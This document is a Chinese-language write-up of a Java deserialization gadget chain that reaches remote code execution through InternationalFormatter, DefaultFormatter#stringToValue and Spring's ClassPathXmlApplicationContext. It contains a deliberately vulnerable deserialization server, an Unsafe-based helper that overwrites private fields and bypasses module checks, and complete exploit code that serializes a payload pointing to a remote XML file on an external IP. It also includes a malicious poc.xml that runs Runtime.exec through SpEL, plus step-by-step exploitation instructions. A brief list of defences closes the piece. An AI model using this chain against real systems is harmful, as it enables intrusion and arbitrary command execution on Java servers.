Java原生类反序列化链利用分析
概述
本文详细分析了一个利用Java原生类反序列化漏洞实现远程代码执行(RCE)的技术细节。该漏洞链利用了InternationalFormatter类的反序列化特性,结合自定义的StringFormat类和Spring框架的ClassPathXmlApplicationContext实现任意代码执行。
环境搭建
测试环境是一个简单的HTTP服务器,监听指定端口,提供反序列化端点:
import com.sun.net.httpserver.HttpServer;
import javax.naming.InitialContext;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8000"));
var server = HttpServer.create(new java.net.InetSocketAddress(port), 0);
server.createContext("/", req -> {
var code = 200;
var response = switch (req.getRequestURI().getPath()) {
case "/der" -> {
try {
var param = req.getRequestURI().getQuery();
yield new java.io.ObjectInputStream(
new java.io.ByteArrayInputStream(
java.util.Base64.getDecoder().decode(param))
).readObject().toString();
} catch (Throwable e) {
e.printStackTrace();
yield ":(";
}
}
default -> {
code = 404;
yield "Not found";
}
};
req.sendResponseHeaders(code, 0);
var os = req.getResponseBody();
os.write(response.getBytes());
os.close();
});
server.start();
System.out.printf("Server listening on :%s\n", port);
}
}
关键组件
自定义StringFormat类
package com.n1ght;
import java.text.FieldPosition;
import java.text.Format;
import java.text.ParsePosition;
public class StringFormat extends Format {
private String str;
public StringFormat(String str) {
this.str = str;
}
public StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos) {
return (StringBuffer) obj;
}
public Object parseObject(String source, ParsePosition pos) {
pos.setIndex(1);
return source;
}
}
这个类继承自Format,重写了parseObject方法使其返回任意字符串值,为后续利用提供可控点。
UnsafeTools工具类
package com.n1ght.src;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import sun.misc.Unsafe;
public class UnSafeTools {
static Unsafe unsafe;
public static Unsafe getUnsafe() throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get((Object) null);
return unsafe;
}
public static void setObject(Object o, Field field, Object value) {
unsafe.putObject(o, unsafe.objectFieldOffset(field), value);
}
public static Object newClass(Class c) throws InstantiationException {
Object o = unsafe.allocateInstance(c);
return o;
}
public static void bypassModule(Class src, Class dst) throws Exception {
Unsafe unsafe = getUnsafe();
Method getModule = dst.getDeclaredMethod("getModule");
getModule.setAccessible(true);
Object module = getModule.invoke(dst);
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(src, addr, module);
}
static {
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get((Object) null);
} catch (Exception var1) {
System.out.println("Error: " + var1);
}
}
}
这个工具类利用sun.misc.Unsafe进行反射操作,可以绕过Java的安全限制,修改对象的私有字段。
漏洞利用链分析
1. InternationalFormatter反序列化入口
InternationalFormatter#readObject方法在反序列化时被调用:
@Serial
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
updateMaskIfNecessary();
}
2. updateMaskIfNecessary调用链
void updateMaskIfNecessary() {
if (!getAllowsInvalid() && (getFormat() != null)) {
if (!isValidMask()) {
updateMask();
} else {
String newString = getFormattedTextField().getText();
if (!newString.equals(string)) {
updateMask();
}
}
}
}
3. updateMask方法
void updateMask() {
if (getFormat() != null) {
Document doc = getFormattedTextField().getDocument();
validMask = false;
if (doc != null) {
try {
string = doc.getText(0, doc.getLength());
} catch (BadLocationException ble) {
string = null;
}
if (string != null) {
try {
Object value = stringToValue(string);
AttributedCharacterIterator iterator = getFormat().formatToCharacterIterator(value);
updateMask(iterator);
} catch (ParseException pe) {
} catch (IllegalArgumentException iae) {
} catch (NullPointerException npe) {
}
}
}
}
}
关键点在于stringToValue(string)的调用。
4. stringToValue方法
public Object stringToValue(String text) throws ParseException {
Object value = stringToValue(text, getFormat());
if (value != null && getValueClass() != null && !getValueClass().isInstance(value)) {
value = super.stringToValue(value.toString());
}
try {
if (!isValidValue(value, true)) {
throw new ParseException("Value not within min/max range", 0);
}
} catch (ClassCastException cce) {
throw new ParseException("Class cast exception comparing values: " + cce, 0);
}
return value;
}
最终会调用到DefaultFormatter#stringToValue方法。
5. DefaultFormatter#stringToValue
public Object stringToValue(String string) throws ParseException {
Class<?> vc = getValueClass();
JFormattedTextField ftf = getFormattedTextField();
if (vc == null && ftf != null) {
Object value = ftf.getValue();
if (value != null) {
vc = value.getClass();
}
}
if (vc != null) {
Constructor<?> cons;
try {
ReflectUtil.checkPackageAccess(vc);
SwingUtilities2.checkAccess(vc.getModifiers());
cons = vc.getConstructor(new Class<?>[]{String.class});
} catch (NoSuchMethodException nsme) {
cons = null;
}
if (cons != null) {
try {
SwingUtilities2.checkAccess(cons.getModifiers());
return cons.newInstance(new Object[]{string});
} catch (Throwable ex) {
throw new ParseException("Error creating instance", 0);
}
}
}
return string;
}
这个方法的关键在于它会尝试使用字符串参数构造getValueClass()指定的类的实例,这为我们提供了任意类实例化的机会。
漏洞利用
利用代码
package com.n1ght.src;
import com.n1ght.StringFormat;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.swing.*;
import javax.swing.text.DefaultFormatter;
import javax.swing.text.InternationalFormatter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
InternationalFormatter internationalFormatter = new InternationalFormatter();
DefaultFormatter defaultFormatter = new DefaultFormatter();
defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);
JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter);
jFormattedTextField.setValue("http://112.124.59.213/poc.xml");
StringFormat aaa = new StringFormat("{0}");
internationalFormatter.setFormat(aaa);
UnSafeTools.setObject(internationalFormatter,
JFormattedTextField.AbstractFormatter.class.getDeclaredField("ftf"),
jFormattedTextField);
UnSafeTools.setObject(internationalFormatter,
DefaultFormatter.class.getDeclaredField("allowsInvalid"),
false);
UnSafeTools.setObject(internationalFormatter,
InternationalFormatter.class.getDeclaredField("validMask"),
true);
UnSafeTools.setObject(internationalFormatter,
DefaultFormatter.class.getDeclaredField("valueClass"),
ClassPathXmlApplicationContext.class);
internationalFormatter.setAllowsInvalid(false);
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(internationalFormatter);
System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bao.toByteArray());
new ObjectInputStream(byteArrayInputStream).readObject();
}
}
恶意XML配置文件(poc.xml)
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="data" class="java.lang.String">
<constructor-arg><value>PAYLOAD</value></constructor-arg>
</bean>
<bean class="#{T(java.lang.Runtime).getRuntime().exec('command')}"></bean>
</beans>
利用步骤详解
-
构造InternationalFormatter对象:创建
InternationalFormatter实例作为反序列化入口点。 -
设置Format:将自定义的
StringFormat设置为InternationalFormatter的format。 -
配置FormattedTextField:
- 创建
DefaultFormatter并设置valueClass为ClassPathXmlApplicationContext - 创建
JFormattedTextField并设置value为恶意XML的URL
- 创建
-
使用Unsafe修改私有字段:
- 将
ftf字段设置为配置好的JFormattedTextField - 设置
allowsInvalid为false - 设置
validMask为true - 设置
valueClass为ClassPathXmlApplicationContext
- 将
-
序列化对象:将构造好的
InternationalFormatter对象序列化为字节数组并Base64编码。 -
触发漏洞:将Base64编码的payload发送到目标服务器的反序列化端点。
防御措施
-
避免反序列化不可信数据:不要反序列化来自不可信源的数据。
-
使用安全过滤器:在反序列化前对输入进行严格过滤。
-
更新Java版本:使用最新版本的Java,其中可能包含安全修复。
-
使用白名单:实现反序列化类的白名单机制。
-
使用替代方案:考虑使用JSON等更安全的序列化格式。
总结
这个漏洞链展示了如何通过精心构造的Java对象利用反序列化漏洞实现RCE。关键在于:
- 利用
InternationalFormatter的反序列化行为 - 通过
StringFormat控制解析过程 - 利用
DefaultFormatter#stringToValue的任意类实例化特性 - 结合Spring框架的
ClassPathXmlApplicationContext加载恶意XML实现代码执行
理解这种攻击方式有助于开发者更好地保护自己的应用免受类似攻击。